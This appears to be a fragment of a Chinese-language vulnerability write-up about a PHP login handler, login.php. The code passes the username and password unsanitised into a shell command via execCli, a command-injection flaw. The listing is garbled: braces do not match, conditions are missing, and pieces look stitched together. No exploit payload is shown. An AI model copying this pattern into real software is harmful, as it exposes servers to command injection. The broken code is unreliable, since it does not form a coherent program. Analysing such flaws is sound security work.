登录页面如下
漏洞文件 login.php
<?php
/**
* 用户登录处理
*/
define('IN', true); //定位该文件是入口文件
define('DS', DIRECTORY_SEPARATOR);
define('AROOT', dirname(__FILE__) . DS);

$data["status"] = 6;
$data["msg"] = "username or password can't exist '\r\n'";
json_echo($data);
exit();
}

json_echo($data);
exit();
}
$res = execCli("exec", "webmaster $username $password");
if ($res["status"] != 1) {
json_echo($res);
exit();
}
$isSuccess = trim($res["data"]);

}
}

关键代码部分
if ($username == FALSE || $password == FALSE) {
$data["status"] = 5;
$data["msg"] = "username or password can't empty";
json_echo($data);
exit();
}

exit();
}
